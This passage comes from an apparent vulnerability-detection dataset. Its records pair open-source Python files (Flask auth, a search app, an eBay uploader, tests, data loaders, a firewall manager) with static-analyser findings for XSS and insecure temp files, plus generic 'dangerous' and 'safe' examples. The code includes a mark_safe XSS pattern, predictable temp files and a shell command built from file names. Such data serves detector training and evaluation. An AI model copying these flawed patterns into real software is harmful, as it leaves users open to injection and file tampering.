\"\"\"Logout.\"\"\"\n logout_user()\n flash('您已经登出', 'info')\n return redirect(url_for('public.home'))\n\n\n@blueprint.route('/register/', methods=['GET', 'POST'])\ndef register():\n \"\"\"Register new user.\"\"\"\n form = RegisterForm(request.form)\n if form.validate_on_submit():\n User.create(username=form.username.data, email=form.email.data, password=form.password.data, biography=form.biography.data, active=True)\n flash('注册成功', 'success')\n return redirect(url_for('public.home'))\n else:\n flash_errors(form)\n return render_template('auth/register.html', form=form)\n\n\n@blueprint.route('/about/')\ndef about():\n \"\"\"About page.\"\"\"\n form = LoginForm(request.form)\n return render_template('public/about.html', form=form)\n\n@blueprint.route('/login/', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n # Handle logging in\n if request.method == 'POST':\n if form.validate_on_submit():\n user = User.query.filter_by(username=form.username.data).first()\n if user is not None and user.check_password(form.password.data):\n login_user(user)\n token = user.generate_auth_token(expiration=3600)\n encrypt_token = get_basic_auth_token(token)\n redirect_url = url_for('public.home')\n response = redirect(redirect_url)\n response.set_cookie('token', encrypt_token)\n flash('您已成功登陆', 'success')\n return response\n else:\n flash('请输入正确的账号和密码', 'danger')\n return render_template('auth/login.html', form=form)\n\n@blueprint.route('/detail/')\n@login_required\ndef detail():\n return render_template('users/user.html', user=current_user)\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "RegisterForm"}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "RegisterForm"}}, {"lineNo": 36, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 43, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "e11f604e5149180d02e7ddb625bf5398c505e20c688f311056865821cd7c9a43", "license": {"spdx": ["MIT"], "repo": "moritztng/hedgy", "path": "main.py", "repo_head_hexsha": "39064935b71c70e19fc3a4420136f8c96ba7512b", "stack_hexsha": "563bf2b79fef0004381c4dcb7c9f61bebc58adb9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 61, "entireCode": "import numpy as np\nfrom preprocess import Vectorizer\nfrom flask import render_template, make_response\nfrom google.oauth2.id_token import verify_oauth2_token\nfrom google.auth.transport.requests import Request\nfrom google.cloud import firestore\nfrom os.path import join, abspath, dirname\nfrom random import randint\nfrom pickle import load\nfrom scipy.sparse import load_npz\n\ndatabase = firestore.Client()\n\nhedgy_path = dirname(abspath(__file__))\nwith open(join(hedgy_path, 'chapters.p'), 'rb') as chapters_f, open(join(hedgy_path, 'vectorizer.p'), 'rb') as vectorizer_f:\n chapters = load(chapters_f)\n vectorizer = load(vectorizer_f)\ntfidf_matrix = load_npz(join(hedgy_path, 'tfidf.npz'))\nsimilarity_matrix = np.load(join(hedgy_path, 'similarity.npy'))\n\ndef hedgy(request): \n ranking, sliced, max_request, seed, token = [], False, 50, None, None\n credential, clicks = None, None\n if request.method == 'POST':\n credential = request.form['credential'] if 'credential' in request.form else None\n elif request.cookies.get('__session'):\n credential, clicks = request.cookies.get('__session').split('#')\n if credential:\n try:\n token = verify_oauth2_token(credential, Request(), '1080182836213-psdjtgo2u10a1fb6e4sbdfpdlmco5i63.apps.googleusercontent.com')\n except:\n pass\n if token:\n user_doc = database.collection('users').document(token['sub'])\n if not user_doc.get().exists:\n user_doc.set({'email': token['email'], 'given_name': token['given_name'], 'family_name': token['family_name'], 'picture': token['picture'], 'clicks': []})\n if clicks:\n user_doc.update({'clicks': firestore.ArrayUnion(clicks[:-1].split(','))})\n if 'max' in request.args:\n max_request = int(request.args.get('max'))\n if 'query' in request.args or 'similar' in request.args:\n if 'query' in request.args:\n query_vector = vectorizer.transform([request.args.get('query')])\n similarity_vector = (tfidf_matrix @ query_vector.T).toarray().squeeze()\n else:\n similarity_vector = similarity_matrix[int(request.args.get('similar'))]\n if np.any(similarity_vector):\n max_chapters = np.count_nonzero(similarity_vector)\n if max_request < max_chapters:\n max_chapters = max_request\n sliced = True\n ranking = np.argsort(similarity_vector)[::-1][:max_chapters].tolist()\n elif 'seed' in request.args:\n seed = int(request.args.get('seed'))\n else:\n seed = randint(1, 1000000)\n if seed:\n np.random.seed(seed)\n ranking = np.random.permutation(len(chapters))[:max_request].tolist()\n sliced = True\n response = make_response(render_template('hedgy.html', chapters=chapters, ranking=ranking, sliced=sliced, max_request=max_request, seed=seed, token=token, args=request.args))\n if token:\n response.set_cookie('__session', credential + '#', secure=True)\n response.headers['Cache-Control'] = 'private'\n elif '__session' in request.cookies:\n response.set_cookie('__session', '', expires=0)\n response.headers['Cache-Control'] = 'private'\n return response", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.args"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "int"}}, {"lineNo": 40, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 61, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}} {"id": "89ba25a35a88481ec77160c92f15babe72a5730b7f01fd576af08b9176ca87f6", "license": {"spdx": ["MIT"], "repo": "SpironoZeppeli/Magic-The-Scannening", "path": "ebay.py", "repo_head_hexsha": "93c595a4c98fb725a79eeddfaba99cb0409d41fb", "stack_hexsha": "ed7d572858561992a56ab8312f08925dad1d2745", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 49, "entireCode": "import requests\nimport urllib.request\nimport urllib.parse\nimport PIL\nimport re\nimport configparser\nimport json\nfrom PIL import Image\nfrom ebaysdk.trading import Connection as Trading\nfrom ebaysdk.exception import ConnectionError\nfrom yaml import load\nfrom PyQt5.QtWidgets import QMessageBox\n\n\nclass EbaySeller:\n\n def __init__(self):\n self.api = Trading()\n config = configparser.ConfigParser()\n config.read('config.ini')\n with open('details.yaml', 'r') as file:\n self.yaml_config = load(file)\n\n def upload_card(self, card_name, eu_card_price, us_card_price, card_id):\n if us_card_price != 0:\n card_price = us_card_price * 0.8\n else:\n card_price = eu_card_price\n if card_price < 1:\n card_price = 1\n card_price = str(round(card_price, 2))\n try:\n card_image = 'http://gatherer.wizards.com/Handlers/Image.ashx?multiverseid=' + card_id + '&type=card'\n except:\n self.msg = QMessageBox()\n self.msg.setWindowTitle(\"Upload Failed\")\n self.msg.setText(\"Upload Failed, wizards gatherer error\")\n self.msg.setStandardButtons(QMessageBox.Ok)\n self.msg.exec()\n urllib.request.urlretrieve(card_image, 'temp.jpg')\n # Resize card\n base_height = 500\n img = Image.open('temp.jpg')\n height_percent = (base_height / float(img.size[1]))\n wsize = int((float(img.size[0]) * float(height_percent)))\n img = img.resize((wsize, base_height), PIL.Image.ANTIALIAS)\n img.save('temp.png')\n # Upload to PictShare\n files = {'file': open('temp.png', 'rb')}\n try:\n r = requests.post('https://pictshare.net/api/upload.php', files=files)\n except:\n self.msg = QMessageBox()\n self.msg.setWindowTitle(\"Upload Failed\")\n self.msg.setText(\"Upload Failed, PictShare error\")\n self.msg.setStandardButtons(QMessageBox.Ok)\n self.msg.exec()\n print(r)\n r = r.text\n r = json.loads(r)\n print(r)\n r = r['url']\n # Fix using regular expression, may not be needed at a later date\n r = re.sub('\\\\.net', '.net/', r)\n r = re.sub('\\\\.net//', '.net/', r)\n print(r)\n try:\n image = self.api.execute('UploadSiteHostedPictures', {'ExternalPictureURL': r})\n image = image.dict()\n image = image['SiteHostedPictureDetails']['FullURL']\n\n print(image)\n # Upload to ebay\n response = self.api.execute('AddFixedPriceItem', {\n 'Item': {'Title': card_name + ' MTG - NM/M', 'Description': card_name + ' MTG - NM/M',\n 'Quantity': '1', 'PictureDetails': {'PictureURL': image},\n 'ReturnPolicy': {'ReturnsAcceptedOption': 'ReturnsNotAccepted'}, 'DispatchTimeMax': '3',\n 'ConditionID': '1000', 'StartPrice': card_price, 'PostalCode': self.yaml_config[\"PostalCode\"],\n 'Currency': self.yaml_config[\"Currency\"],\n 'Country': 'GB', 'ListingDuration': 'Days_30', 'PaymentMethods': 'PayPal',\n 'PayPalEmailAddress': self.yaml_config[\"PayPalEmailAddress\"],\n 'PrimaryCategory': {'CategoryID': '38292'},\n 'ShippingDetails': {'ShippingType': 'Flat',\n 'ShippingServiceOptions': {'ShippingServicePriority': '1',\n 'ShippingService': self.yaml_config[\n \"ShippingService\"],\n 'ShippingServiceCost': '1'}}}})\n print(response.dict())\n print(response.reply)\n\n self.msg = QMessageBox()\n\n if response.reply.Ack == 'Failure':\n self.msg.setWindowTitle(\"Upload Failed\")\n self.msg.setText(\"Upload Complete, please check log.txt\")\n self.msg.setStandardButtons(QMessageBox.Ok)\n with open('log.txt', 'a+') as log_file:\n log_file.write(response.reply)\n else:\n self.msg.setWindowTitle(\"Upload Complete\")\n self.msg.setText(\"Upload Complete, please check your ebay account to confirm\")\n self.msg.setStandardButtons(QMessageBox.Ok)\n\n self.msg.exec()\n except ConnectionError as e:\n print(e)\n print(e.response.dict())\n\n def get_multiverse_id(self, name):\n try:\n name = re.sub(' ', '%20', name)\n r = requests.get('https://api.scryfall.com/cards/named?exact=' + name)\n r = json.loads(r.text)\n return r['multiverse_ids'][0]\n except:\n self.msg = QMessageBox()\n self.msg.setWindowTitle(\"Upload Failed\")\n self.msg.setText(\"Upload Failed, scryfall error\")\n self.msg.setStandardButtons(QMessageBox.Ok)\n self.msg.exec()\n\n\n\n def get_card_info_and_sell(self, name):\n try:\n multiverse_id = self.get_multiverse_id(name)\n r = requests.get('http://api.cardsearch.nl/v1/prices?key=W00dw0rk$&mids[]=' + str(multiverse_id))\n r = json.loads(r.text)\n r = r[0]\n card_name = r.get('name')\n eu_card_price = r.get('price_normal')\n us_card_price = r.get('us_normal')\n card_set = r.get('set_id')\n card_set_name = r.get('set_name')\n card_id = r.get('multiverse_id')\n\n # Display card info in CLI\n print('Name: ' + card_name)\n print('Set: ' + card_set)\n print('Set name: ' + card_set_name)\n print('Card ID: ' + str(card_id))\n self.upload_card(card_name, eu_card_price, us_card_price, card_id)\n except:\n self.msg = QMessageBox()\n self.msg.setWindowTitle(\"Upload Failed\")\n self.msg.setText(\"Upload Failed, card name not valid\")\n self.msg.setStandardButtons(QMessageBox.Ok)\n self.msg.exec()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 49, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "be9fd3516e24a4449ca0b7f01ce28c3bba9dda4fd27648116920aaa5a1e879fc", "license": {"spdx": ["Apache-2.0"], "repo": "MJ-SEO/py_fuzz", "path": "examples/tinytag/fuzz.py", "repo_head_hexsha": "789fbfea21bf644ba4d00554fe4141694b0a190a", "stack_hexsha": "6030d536392f2700f6b4fca762988c6115c81681", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 8, "entireCode": "from pythonfuzz.main import PythonFuzz\nfrom tinytag import TinyTag\nimport io\n\n@PythonFuzz\ndef fuzz(buf):\n\ttry:\n\t\tf = open('temp.mp4', \"wb\")\n\t\tf.write(buf)\n\t\tf.seek(0)\n\t\ttag = TinyTag.get(f.name)\n\texcept UnicodeDecodeError:\n\t\tpass\n\nif __name__ == '__main__':\n\tfuzz()\n\n", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "a63cde6094fbcf8e93bd83c403204b35b03b3993bf3491b8dd6c6a5df65e8e94", "license": {"spdx": ["MIT"], "repo": "qingyunha/boltdb", "path": "tests/test_free.py", "repo_head_hexsha": "2ea341336f02210f751cd49ea7724d890511db38", "stack_hexsha": "6f123e344c537798141dc193f3e6368ab0209301", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 11, "entireCode": "import os\nimport unittest\nimport tempfile\n\nfrom boltdb import BoltDB\n\n\nclass TestFree(unittest.TestCase):\n\n def setUp(self):\n self.db = BoltDB(tempfile.mktemp())\n\n def tearDown(self):\n os.unlink(self.db.filename)\n\n def test_free(self):\n with self.db.update() as tx:\n b = tx.bucket()\n b.put(b\"foo\", b\"bar\")\n self.assertEqual(self.db.freelist.ids, [3])\n\n with self.db.update() as tx:\n b = tx.bucket()\n b.put(b\"foo\", b\"bar\")\n self.assertEqual(self.db.freelist.ids, [4])\n\n def test_free2(self):\n self.assertEqual(self.db.freepages(), [2])\n\n with self.db.update() as tx:\n b = tx.bucket()\n b.put(b\"foo\", b\"bar\")\n self.assertEqual(sorted(self.db.freepages()), [2, 3])\n\n with self.db.update() as tx:\n b = tx.bucket()\n b.put(b\"foo\", b\"bar\")\n self.assertEqual(sorted(self.db.freepages()), [2, 4])", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badlib", "params": {"arg0": "tempfile.mktemp"}}]}} {"id": "3d80dc380322a99ed9d307e01c6a6e692931c5facb9a50973977f3eebe29af09", "license": {"spdx": ["Apache-2.0"], "repo": "WynMew/WaifuLite", "path": "MyDataLoader.py", "repo_head_hexsha": "fbd9680dda4a5f501b7c66515c9fef1444f2d9e7", "stack_hexsha": "363ab7e49354291dcd24ad4beee0131449a7700e", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 30, "entireCode": "import glob\nimport io\nimport numpy as np\nimport re\nimport os\nfrom io import BytesIO\nimport random\nfrom uuid import uuid4\nimport torch\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nfrom torchvision.transforms import RandomCrop\nfrom torchvision.transforms.functional import to_tensor\n\n\nclass ListDatasetLite(Dataset):\n def __init__(self, root, list_file, patch_size=96, shrink_size=2, noise_level=1, down_sample_method=None, transform=None):\n self.root = root\n self.transform = transform\n self.random_cropper = RandomCrop(size=patch_size)\n self.img_augmenter = ImageAugment(shrink_size, noise_level, down_sample_method)\n self.transform = transform\n self.fnames = []\n\n if isinstance(list_file, list):\n tmp_file = '/tmp/listfile.txt'\n os.system('cat %s > %s' % (' '.join(list_file), tmp_file))\n list_file = tmp_file\n\n with open(list_file) as f:\n lines = f.readlines()\n self.num_imgs = len(lines)\n\n for line in lines:\n self.fnames.append(line)\n\n\n def __getitem__(self, idx):\n fname = self.fnames[idx].strip()\n img = Image.open(os.path.join(self.root, fname))\n if img.mode != 'RGB':\n img = img.convert('RGB')\n\n img_patch = self.random_cropper(img)\n lr_img, hr_img = self.img_augmenter.process(img_patch)\n return self.transform(lr_img), self.transform(hr_img)\n #return to_tensor(lr_img), to_tensor(hr_img)\n\n def __len__(self):\n return self.num_imgs\n\n\n\nclass ImageAugment:\n def __init__(self,\n shrink_size=2,\n noise_level=1,\n down_sample_method=None\n ):\n # noise_level (int): 0: no noise; 1: 75-95% quality; 2:50-75%\n if noise_level == 0:\n self.noise_level = [0, 0]\n elif noise_level == 1:\n self.noise_level = [5, 25]\n elif noise_level == 2:\n self.noise_level = [25, 50]\n else:\n raise KeyError(\"Noise level should be either 0, 1, 2\")\n self.shrink_size = shrink_size\n self.down_sample_method = down_sample_method\n\n def shrink_img(self, hr_img):\n\n if self.down_sample_method is None:\n resample_method = random.choice([Image.BILINEAR, Image.BICUBIC, Image.LANCZOS])\n else:\n resample_method = self.down_sample_method\n img_w, img_h = tuple(map(lambda x: int(x / self.shrink_size), hr_img.size))\n lr_img = hr_img.resize((img_w, img_h), resample_method)\n return lr_img\n\n def add_jpeg_noise(self, hr_img):\n quality = 100 - round(random.uniform(*self.noise_level))\n lr_img = BytesIO()\n hr_img.save(lr_img, format='JPEG', quality=quality)\n lr_img.seek(0)\n lr_img = Image.open(lr_img)\n return lr_img\n\n def process(self, hr_patch_pil):\n lr_patch_pil = self.shrink_img(hr_patch_pil)\n if self.noise_level[1] > 0:\n lr_patch_pil = self.add_jpeg_noise(lr_patch_pil)\n\n return lr_patch_pil, hr_patch_pil\n\n def up_sample(self, img, resample):\n width, height = img.size\n return img.resize((self.shrink_size * width, self.shrink_size * height), resample=resample)", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "7c7efeede8a88922aebb0c897b0de0f87c093613464e1910db64c102b5ad00c5", "license": {"spdx": ["Apache-2.0"], "repo": "thehyve/genetics-backend", "path": "reference_data/uk_biobank_v3/1_extract_ukb_variables.py", "repo_head_hexsha": "81d09bf5c70c534a59940eddfcd9c8566d2b2ec1", "stack_hexsha": "b10b445b6f929ecc345e5226229e53a873023020", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 47, "entireCode": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# \n#\n\"\"\"\nbsub -q small -J interactive -n 1 -R \"select[mem>8000] rusage[mem=8000] span[hosts=1]\" -M8000 -Is bash\n\"\"\"\n\nimport gzip\nimport sys\n\ndef main():\n\n # Args\n in_ukb = '/nfs/users/nfs_e/em21/otcoregen/uk_biobank_data/data/phenotypes/tsv/ukb27852.tsv.gz'\n outf = 'temp_ukb27852.extraction.tsv'\n sep = '\\t'\n field_prefixes = [\n 'f.eid',\n 'f.31.', # Reported sex\n 'f.22001.', # Genetic sex\n 'f.22006.', # White bristish\n 'f.22019.', # Sex chromosome aneuploidy. Karyotypes not XX or XY\n 'f.22027.', # Heterozygosity or missingness rate outliers\n ]\n\n # Get list of column indices where header starts with `field_prefixes`\n col_indices = []\n with gzip.open(in_ukb, 'r') as in_h:\n header = in_h.readline().decode().rstrip().split(sep)\n for i, col in enumerate(header):\n for field_prefix in field_prefixes:\n if col.startswith(field_prefix):\n col_indices.append(i)\n break\n \n # Compare field_prefixes to extracted column header and raise error if any\n # were not found\n header_extracted = [header[i] for i in col_indices]\n for field_prefix in field_prefixes:\n if not any([col.startswith(field_prefix) for col in header_extracted]):\n sys.exit('ERROR: Field prefix \"{}\" was not found'.format(field_prefix))\n\n # Extract `col_indices` and write to new file\n with gzip.open(in_ukb, 'r') as in_h:\n with open(outf, 'w') as out_h:\n for line in in_h:\n parts = line.decode().rstrip().split(sep)\n out_row = [parts[i] for i in col_indices]\n out_h.write(sep.join(out_row) + '\\n')\n\n return 0\n\nif __name__ == '__main__':\n\n main()", "dangerousExampleEn": "1. import os\n2. \n3. tmp = open(os.tmpnam(), mode='rw')\nLine 3: A temporary file is generated through os.tmpnam() function, an insecure API.", "safeExampleEn": "1. import tempfile\n2. \n3. tmp = tempfile.TemporaryFile()\nLine 3: Generate the temporary file through an secure method of tempfile module.", "contexts": [{"lineNo": 47, "eventType": "sink", "messageKey": "pythonchk.INSECURE_TEMPORARY_FILE.PYTHON.defect.badliteral", "params": {}}]}} {"id": "e03a3bb0105da75b0f449d0c8a65c9c45c57eccf38b0747c9945f4986e49e3fa", "license": {"spdx": ["MIT"], "repo": "uzairAK/serverom-panel", "path": "firewall/firewallManager.py", "repo_head_hexsha": "3dcde05ad618e6bef280db7d3180f926fe2ab1db", "stack_hexsha": "f4d7dad198309996969b7b1a6b4a53071fcc5d86", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Generation of Dangerous Temp File", "issueDescriptionEn": "The Generation of Dangerous Temp File checker finds instances of generating a temporary file in an improper way.\nIf a temporary file is generated with a predictable name or to be accessible to an arbitrary program, it may allow attackers to manipulate the file for program malfunctions.\nIt is recommended to name temporary files unpredictably and make them accessible only by the executing program.", "issueLineNumber": 1497, "entireCode": "#!/usr/local/CyberCP/bin/python\nimport os\nimport os.path\nimport sys\nimport django\nsys.path.append('/usr/local/CyberCP')\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"CyberCP.settings\")\ndjango.setup()\nimport json\nfrom plogical.acl import ACLManager\nimport plogical.CyberCPLogFileWriter as logging\nfrom plogical.virtualHostUtilities import virtualHostUtilities\nimport subprocess\nfrom django.shortcuts import HttpResponse, render\nfrom random import randint\nimport time\nfrom plogical.firewallUtilities import FirewallUtilities\nfrom firewall.models import FirewallRules\nfrom plogical.modSec import modSec\nfrom plogical.csf import CSF\nfrom plogical.processUtilities import ProcessUtilities\nfrom serverStatus.serverStatusUtil import ServerStatusUtil\n\nclass FirewallManager:\n\n imunifyPath = '/usr/bin/imunify360-agent'\n CLPath = '/etc/sysconfig/cloudlinux'\n\n def __init__(self, request = None):\n self.request = request\n\n def securityHome(self, request = None, userID = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n return render(request, 'firewall/index.html')\n except BaseException as msg:\n return HttpResponse(str(msg))\n\n def firewallHome(self, request = None, userID = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadError()\n\n return render(request, 'firewall/firewall.html')\n except BaseException as msg:\n return HttpResponse(str(msg))\n\n def getCurrentRules(self, userID = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('fetchStatus', 0)\n\n rules = FirewallRules.objects.all()\n\n json_data = \"[\"\n checker = 0\n\n for items in rules:\n dic = {\n 'id': items.id,\n 'name': items.name,\n 'proto': items.proto,\n 'port': items.port,\n 'ipAddress': items.ipAddress,\n }\n\n if checker == 0:\n json_data = json_data + json.dumps(dic)\n checker = 1\n else:\n json_data = json_data + ',' + json.dumps(dic)\n\n json_data = json_data + ']'\n final_json = json.dumps({'status': 1, 'fetchStatus': 1, 'error_message': \"None\", \"data\": json_data})\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'fetchStatus': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def addRule(self, userID = None, data = None):\n try:\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('add_status', 0)\n\n\n ruleName = data['ruleName']\n ruleProtocol = data['ruleProtocol']\n rulePort = data['rulePort']\n ruleIP = data['ruleIP']\n\n FirewallUtilities.addRule(ruleProtocol, rulePort, ruleIP)\n\n newFWRule = FirewallRules(name=ruleName, proto=ruleProtocol, port=rulePort, ipAddress=ruleIP)\n newFWRule.save()\n\n final_dic = {'status': 1, 'add_status': 1, 'error_message': \"None\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'add_status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def deleteRule(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('delete_status', 0)\n\n\n ruleID = data['id']\n ruleProtocol = data['proto']\n rulePort = data['port']\n ruleIP = data['ruleIP']\n\n FirewallUtilities.deleteRule(ruleProtocol, rulePort, ruleIP)\n\n delRule = FirewallRules.objects.get(id=ruleID)\n delRule.delete()\n\n final_dic = {'status': 1, 'delete_status': 1, 'error_message': \"None\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'status': 0, 'delete_status': 0, 'error_message': str(msg)}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n def reloadFirewall(self, userID = None, data = None):\n try:\n\n currentACL = ACLManager.loadedACL(userID)\n\n if currentACL['admin'] == 1:\n pass\n else:\n return ACLManager.loadErrorJson('reload_status', 0)\n\n command = 'sudo firewall-cmd --reload'\n res = ProcessUtilities.executioner(command)\n\n if res == 1:\n final_dic = {'reload_status': 1, 'error_message': \"None\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n else:\n final_dic = {'reload_status': 0,\n 'error_message': \"Can not reload firewall, see CyberCP main log file.\"}\n final_json = json.dumps(final_dic)\n return HttpResponse(final_json)\n\n except BaseException as msg:\n final_dic = {'reload_status': 0, 'error_message': str(msg)}\n final_json = 